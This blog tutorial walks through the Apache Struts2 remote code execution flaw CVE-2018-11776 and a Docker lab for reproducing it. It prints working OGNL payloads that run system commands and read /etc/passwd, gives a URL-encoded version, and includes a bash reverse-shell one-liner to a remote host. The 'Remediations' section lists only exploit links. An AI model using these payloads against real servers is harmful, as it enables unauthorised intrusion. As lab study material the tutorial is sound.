Learn about the Struts2 Remote Code Execution vulnerability CVE-2018-11776, how to exploit and how to create a Proof of Concept (POC) with docker.

Overview of the Vulnerability

As reported in the CVE-2018-11776 description:

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace.

But what is a namespace?

In few words, a namespace in struts is a group of actions. Two actions with the same name can exist in two different namespaces and have different behavior. Let's suppose that we have a web app named "superhero", and after deploying superhero.war we have:

http://localhost:8080/superhero/index.action, where / is the namespace and index.action is the action

or we have:

http://localhost:8080/superhero/superman/fly.action, where /superman is the namespace and fly.action is the action

The problem occurs when the web application uses an action without specifying any namespace or it uses a wildcard namespace like /*. If Struts can't find any namespace for the given action, it will take a user-specified namespace and evaluates it as a OGNL expression, allowing the attacker to exploits a Remote Code Execution / Remote Command Execution on the web application.

OGNL (Object-Graph Navigation Language) is an open-source Expression Language (EL) for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes. This is important because the exploit payload is nothing than an OGNL expression like this:

${2+2} // return 4

Or to exploit a Remote Code Execution:

${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close()
)
}

As you can see, the OGNL above executes cat /etc/passwd and prints out the standard output buffer of the executed command.

POC using docker

Thanks to hook for the awesome work on his POC, please take a look at his repository on github!

We can use the docker container build for cve-2017-5638 and add a custom action.

The first step, pull the docker image:

$ docker pull piesecurity/apache-struts2-cve-2017-5638

Now, start the container exposing the port 8080:

$ docker run -d --name struts2 -p 8080:8080 piesecurity/apache-struts2-cve-2017-5638

Ok, it should be reachable on http://localhost:8080:

struts2 welcome page

Now it's time to edit the /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml file.

First install a text editor like vim:

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

Add the following string inside <struts>:

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

Then add this action inside <package name="default" extends="struts-default">:

<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

Once done, restart the container:

$ exit
$ docker restart struts2

Discover the vulnerability

Now we have a vulnerable struts2 and an empty namespace that we could replace with an OGNL expression. Let's do a test:

replace the empty namespace with ${2+2}

As you can see, after requesting the namespace ${2+2} (with something like http://localhost:8080/${2+2}/date.action) the Location header change to /4/date.action and it means that our OGNL expression has been executed.

Now, I can exploit a Remote Code Execution and a Remote Command Execution using the following payload in order to execute the command id:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

urlencoding the payload it becomes:

%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.
%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getPrope
rty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.
%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B
%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.Proce
ssBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%
23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.Se
rvletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%
40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%2
9%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
execute command "id" on target webserver

The id command is successfully executed on the target webserver.

Obviously, you can get a reverse shell by executing something like "bash -i >& /dev/tcp/192.168.1.2/1337 0>&1" and encoding whitespace with %20, ">" with %3E and "&" with %26:

get a shell

Remediations

https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

http://blog.atucom.net/2018/08/apache-struts-2-vulnerability-exploit.html

https://github.com/vulhub/vulhub/tree/master/struts2

If you liked this post...

Twitter: @Menin_TheMiddle
GitHub: theMiddleBlue
LinkedIn: Andrea Menin

The artwork used to head this article is called 'Disco Strut' and it was created by Steve Kirby.